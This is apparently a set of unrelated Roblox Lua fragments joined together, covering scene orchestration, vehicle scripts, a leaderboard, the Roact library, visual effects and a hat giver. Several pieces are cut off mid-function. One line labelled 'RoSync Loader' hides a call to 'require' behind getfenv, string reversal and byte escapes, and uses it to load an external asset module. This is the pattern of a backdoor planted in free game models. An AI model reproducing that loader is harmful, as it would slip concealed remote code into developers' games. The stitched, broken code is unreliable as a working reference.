ClientOrchestration.ClientSceneMetadataEvent = Orchestra.Events.ClientEvents.ClientSceneMetadata ClientOrchestration.SendMediaControllerConfig = Orchestra.Events.MediaControllerConfigEvents.SendMediaControllerConfig ClientOrchestration.Seek = Orchestra.Events.ClientEvents.Seek ClientOrchestration.SceneEnded = Orchestra.Events.ClientEvents.SceneEnded ClientOrchestration.SeekPermissionsEvent = Orchestra.Events.ClientEvents.SeekPermissions ClientOrchestration.SeekerGuiComponent = nil ClientOrchestration.playerGui = Players.LocalPlayer:WaitForChild("PlayerGui") ClientOrchestration.taskLib = task ClientOrchestration._warn = function(msg) warn(msg) end ClientOrchestration._require = function(file) return require(file) end ClientOrchestration.handleSeekPermissionsEvent = function(hasPermission) if hasPermission and not ClientOrchestration.SeekerGuiComponent then local SeekerGuiElement = ClientOrchestration.Roact.createElement(ClientOrchestration.SeekerGui) ClientOrchestration.SeekerGuiComponent = ClientOrchestration.Roact.mount( SeekerGuiElement, ClientOrchestration.playerGui, "SceneSeeker" ) end if not hasPermission and ClientOrchestration.SeekerGuiComponent then if ClientOrchestration.SeekerGuiComponent then ClientOrchestration.Roact.unmount(ClientOrchestration.SeekerGuiComponent) ClientOrchestration.SeekerGuiComponent = nil end end end ClientOrchestration.ClientSceneMetadataRequestConnection = nil ClientOrchestration.setupSchema = function() ClientOrchestration.isSeekable = false local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime local setupSuccess, setupError = ClientOrchestration.SchemaProcessorInstance:Setup() local isSameScene = lastCalledOrchestrationTime == ClientOrchestration.lastCalledOrchestrationTime if not setupSuccess then ClientOrchestration._warn("Client Schema Setup wasn't successful") ClientOrchestration._warn(setupError) elseif isSameScene then ClientOrchestration.isSeekable = true end return setupSuccess end ClientOrchestration.processSchema = function() local processSuccess, processError = ClientOrchestration.SchemaProcessorInstance:Process() if not processSuccess then ClientOrchestration._warn("Client Schema Process wasn't successful") ClientOrchestration._warn(processError) end end ClientOrchestration.cleanUp = function() if ClientOrchestration.SchemaProcessorInstance then ClientOrchestration.SchemaProcessorInstance:CleanUp() end end ClientOrchestration.handleSceneEnded = function() if ClientOrchestration.SchemaProcessorInstance then local endSceneSuccess, endSceneError = ClientOrchestration.SchemaProcessorInstance:EndScene() if not endSceneSuccess then ClientOrchestration._warn("Client End Scene wasn't successful") ClientOrchestration._warn(endSceneError) end ClientOrchestration.cleanUp() end end
--[[script.Parent.MouseButton2Down:connect(ClickB) script.Parent.MouseButton2Up:connect(UnclickB)--]]
-- for i,v in pairs(script.Parent.Parent.Body.phone:GetChildren()) do -- v.Transparency = 0 -- end
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy()
-- [[ Dummiez's Data Store Score Board ]] -- This script updates the Data store with the values from the remote function.
wait(1) local ods = game:GetService("DataStoreService"):GetOrderedDataStore("TopCoins") function updateBoard(board, data) for k,v in pairs(data) do local pos = k local name = v.key local score = v.value local dispname = board:findFirstChild("Name"..pos) local dispval = board:findFirstChild("Score"..pos) dispname.Text = tostring(name) dispval.Text = tostring(score) end end while true do wait(script.Refresh.Value) local pages = ods:GetSortedAsync(false, 10) local data = pages:GetCurrentPage() updateBoard(game.Workspace.HighScore.ScoreBlock.SurfaceGui, data) end
--[[ Last synced 10/14/2020 09:42 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Compiled with roblox-ts v2.1.0
local default = { ["0"] = 0, ["50"] = 0.5, ["75"] = 0.75, ["90"] = 0.9, ["95"] = 0.95, ["100"] = 1, ["105"] = 1.05, ["110"] = 1.1, ["125"] = 1.25, ["150"] = 1.5, } return { default = default, }
-- KEY IS DOWN -- --UIS.InputBegan:Connect(function(Input, isTyping) -- if isTyping then return end -- if not Char then return end -- if Char:FindFirstChild("Disabled") then return end
--[[ Packages up the internals of Roact and exposes a public API for it. ]]
local GlobalConfig = require(script.GlobalConfig) local createReconciler = require(script.createReconciler) local createReconcilerCompat = require(script.createReconcilerCompat) local RobloxRenderer = require(script.RobloxRenderer) local strict = require(script.strict) local Binding = require(script.Binding) local robloxReconciler = createReconciler(RobloxRenderer) local reconcilerCompat = createReconcilerCompat(robloxReconciler) local Roact = strict { Component = require(script.Component), createElement = require(script.createElement), createFragment = require(script.createFragment), oneChild = require(script.oneChild), PureComponent = require(script.PureComponent), None = require(script.None), Portal = require(script.Portal), createRef = require(script.createRef), createBinding = Binding.create, Change = require(script.PropMarkers.Change), Children = require(script.PropMarkers.Children), Event = require(script.PropMarkers.Event), Ref = require(script.PropMarkers.Ref), mount = robloxReconciler.mountVirtualTree, unmount = robloxReconciler.unmountVirtualTree, update = robloxReconciler.updateVirtualTree, reify = reconcilerCompat.reify, teardown = reconcilerCompat.teardown, reconcile = reconcilerCompat.reconcile, setGlobalConfig = GlobalConfig.set, -- APIs that may change in the future without warning UNSTABLE = { }, } return Roact
-- rotato
for i,v in pairs(script.Parent:GetChildren()) do if v.Name == "Propeller" then coroutine.resume(coroutine.create(function() while task.wait() do v.CFrame = v.CFrame * CFrame.Angles(math.rad(15),0,0) end end)) end end
--SSML.Rotation = SSML.Rotation + Vector3.new(0,0,-90)
SSML.Name = "ML" SSML.Transparency = 1 SSML.CFrame = FL.CFrame SSML.Attachment.Rotation = Vector3.new(0,0,90) local SSMR = FR:Clone() SSMR.CanCollide = false SSMR.Parent = susp
--// No-opt connect Server>Client RemoteEvents to ensure they cannot be called --// to fill the remote event queue.
local function emptyFunction() --intentially empty end local function GetObjectWithNameAndType(parentObject, objectName, objectType) for _, child in pairs(parentObject:GetChildren()) do if (child:IsA(objectType) and child.Name == objectName) then return child end end return nil end local function CreateIfDoesntExist(parentObject, objectName, objectType) local obj = GetObjectWithNameAndType(parentObject, objectName, objectType) if (not obj) then obj = Instance.new(objectType) obj.Name = objectName obj.Parent = parentObject end useEvents[objectName] = obj return obj end
--F.headLights = function(Tog) -- for i,v in pairs(script.Parent.Parent.Parent:getChildren()) do -- if v:FindFirstChild('Head') or v:FindFirstChild('Tail') then -- v.BGUI.Enabled = (carSeat.Ignition.Value == 1 and Tog or false) -- v.SpotLight.Enabled = (carSeat.Ignition.Value == 1 and Tog or false) -- end -- end -- carSeat.Headlights.Value = (carSeat.Ignition.Value == 1 and Tog or false) --end
script.Parent.OnServerEvent:connect(function(Player, Func, ...) if F[Func] then F[Func](...) end end)
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -2.5 Tune.RCamber = -2 Tune.FToe = 0 Tune.RToe = 0
-- TODO Luau: needs overloads to model this more correctly
return function<T>(value: { [string]: T } | Array<T> | string): Array<T> | Array<string> if value == nil then error("cannot extract values from a nil value") end local valueType = typeof(value) local array: Array<T> | Array<string> if valueType == "table" then array = {} :: Array<T> for _, keyValue in pairs(value :: { [string]: T } | Array<T>) do table.insert(array, keyValue) end elseif valueType == "string" then -- optimization to avoid rehashing/growth local valueStringLength = (value :: string):len() array = table.create(valueStringLength) for i = 1, valueStringLength do (array :: Array<string>)[i] = (value :: string):sub(i, i) end end return array end
-------------------------------------------------------------------------------- -- 32-BIT BITWISE FUNCTIONS -------------------------------------------------------------------------------- -- Only low 32 bits of function arguments matter, high bits are ignored -- The result of all functions (except HEX) is an integer inside "correct range": -- for "bit" library: (-TWO_POW_31)..(TWO_POW_31-1) -- for "bit32" library: 0..(TWO_POW_32-1)
local bit32_band = bit32.band -- 2 arguments local bit32_bor = bit32.bor -- 2 arguments local bit32_bxor = bit32.bxor -- 2..5 arguments local bit32_lshift = bit32.lshift -- second argument is integer 0..31 local bit32_rshift = bit32.rshift -- second argument is integer 0..31 local bit32_lrotate = bit32.lrotate -- second argument is integer 0..31 local bit32_rrotate = bit32.rrotate -- second argument is integer 0..31
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,0.125,-0.325) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- Making some calculations based on configurations
local waitBetweenSegments = 0.05 local segmentsPerSecond = 1/waitBetweenSegments local numSegments = range / bulletSpeed * segmentsPerSecond local segmentLength = range / numSegments local dropPerSegment = segmentLength * bulletDrop / 100 local dropAngle = -math.tan(dropPerSegment / segmentLength)
-- Modules
local CreateTrail = require(script.CreateTrail) local SpiralModule = { } function SpiralModule.Init(Part: BasePart, Properties: table) -- Properties local Frequency = Properties.Frequency or math.huge -- Physics Properties local Radius = Properties.Radius or 2 local Lifetime = Properties.Lifetime or math.huge local Time = Properties.Time or 0.45 local Offset = Properties.Offset or 0.05 for _ = 1, Frequency do local Connection local Index = 0 -- Trail Properties local Size = Properties.Size or 0.275 local Color = Properties.Color or Color3.fromRGB(255, 255, 255) local Transparency = Properties.Transparency or 0 local Info = TweenInfo.new(Time, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1) local RotationPart = Instance.new('Part') RotationPart.Anchored, RotationPart.CanCollide = true, false RotationPart.CanTouch, RotationPart.CanQuery = false, false RotationPart.CFrame = Part.CFrame * CFrame.new(0, -(Part.Size.Y / 2), 0) RotationPart.Size = Vector3.one RotationPart.Transparency = 1 RotationPart.Parent = Part TweenService:Create(RotationPart, Info, {Orientation = RotationPart.Orientation + Vector3.new(0, 360, 0)}):Play() local TPart = Instance.new('Part') TPart.Anchored, TPart.CanCollide = true, false TPart.CanTouch, TPart.CanQuery = false, false TPart.CFrame = RotationPart.CFrame TPart.Size = Vector3.one TPart.Transparency = 1 TPart.Parent = workspace.Effects local Trail = CreateTrail(TPart, Size, Color, Transparency) Connection = RunService.RenderStepped:Connect(function(Delta) Index = (Index + Delta / Lifetime) % 1 local Alpha = 2 * math.pi * Index RotationPart.CFrame = RotationPart.CFrame * CFrame.new(0, Offset, 0) TPart.CFrame = RotationPart.CFrame * CFrame.Angles(0, Alpha, 0) * CFrame.new(0, 0, Radius) end) task.wait(1.35) Trail.Enabled = false Debris:AddItem(RotationPart, 1) Debris:AddItem(TPart, 1) task.wait(1) Connection:Disconnect() end end return SpiralModule